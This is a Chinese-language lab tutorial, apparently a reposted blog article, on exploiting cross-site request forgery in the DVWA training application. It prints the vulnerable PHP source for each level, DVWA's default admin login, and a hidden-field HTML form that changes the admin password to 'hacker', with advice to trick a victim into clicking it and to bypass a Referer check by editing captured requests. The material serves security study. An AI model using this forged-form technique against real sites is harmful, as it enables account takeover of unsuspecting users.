2. DVWA親測CSRF漏洞


 

DVWA登陸      用戶名:admin   密碼:password

Low級:

查看源代碼:
<?php   
                   
    if (isset($_GET['Change'])) {   
       
        // Turn requests into variables   
        $pass_new = $_GET['password_new'];   
        $pass_conf = $_GET['password_conf'];   
  
  
        if (($pass_new == $pass_conf)){   
            $pass_new = mysql_real_escape_string($pass_new);   
            $pass_new = md5($pass_new);   
  
            $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";   
            $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );   
                           
            echo "<pre> Password Changed </pre>";           
            mysql_close();   
        }   
       
        else{           
            echo "<pre> Passwords did not match. </pre>";               
        }   
  
    }   
?>
  首先獲取輸入的兩個密碼然后判斷兩個值是否相等,若相等則接着對pass_new變量進行調用mysql_real_escape_string()函數來進行字符串的過濾、再調用md5()函數對輸入的密碼進行MD5加密,最后再將新密碼更新到數據庫中。整段代碼因為調用了mysql_real_escape_string()函數從而有效地過濾了SQL注入,但是對CSRF沒有任何的防御機制。
  進入相應的頁面可以看到提示直接輸入新密碼以及確認新密碼的兩項輸入進行更改密碼的操作而不需要重新確認一遍當前的密碼: 
這時我們先嘗試輸入  test   test  ,來看一下頁面效果:

發現密碼修改成功,我們來分析一下過程:
 
我們用burpsuite來抓包查看:
 
 
 
我們偽造一個網址發給受害者,如果受害者在訪問DVWA,只要受害者點擊網址,密碼就會發生改變
但是這樣的網址太顯眼,我們需要進一步的裝飾偽造
 
<!DOCTYPE html>
<html>
<body>
    <form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="hacker">
        <input type="hidden" name="password_conf" value="hacker">
        <input type="hidden" name="Change" value="Change">
        <input type="submit" value="Click Me">
    </form>
</body>
</html>

把 這個html  文件發給受害者,誘騙受害者點擊 
 
點擊后直接出現:

 

密碼修改成功

Medium級:

Medium級的修改密碼的界面還是和Low級的一樣,不需要進行身份認證即輸入當前的密碼

<?php   
               
    if (isset($_GET['Change'])) {   
       
        // Checks the http referer header   
        if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){   
       
            // Turn requests into variables   
            $pass_new = $_GET['password_new'];   
            $pass_conf = $_GET['password_conf'];   
  
            if ($pass_new == $pass_conf){   
                $pass_new = mysql_real_escape_string($pass_new);   
                $pass_new = md5($pass_new);   
  
                $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";  
                $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );   
                           
                echo "<pre> Password Changed </pre>";           
                mysql_close();   
            }   
       
            else{           
                echo "<pre> Passwords did not match. </pre>";               
            }       
  
        }   
           
    }   
?> 
一開始就調用eregi()函數來判斷HTTP頭的referer字段里是不是包含“127.0.0.1”字符串,即發送請求的是不是本機,如果是則繼續后面代碼的執行。后面的代碼和low級的一樣就沒啥說的了。
此時我們的LOW等級方法已經失效,我們再用burpsuite抓包對比看一下:
 
接下來我們進行抓包改包
 
 

 
修改成功

High級:

和前面兩個等級不同,high等級有了用戶token,而且每次修改密碼,token都是變化的
 
 

Impossible級:

和前面兩個等級不同,impossible級修改密碼的界面是需要通過三次輸入,即增加了輸入當前密碼的項,從而能夠進行相應的身份認證:

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM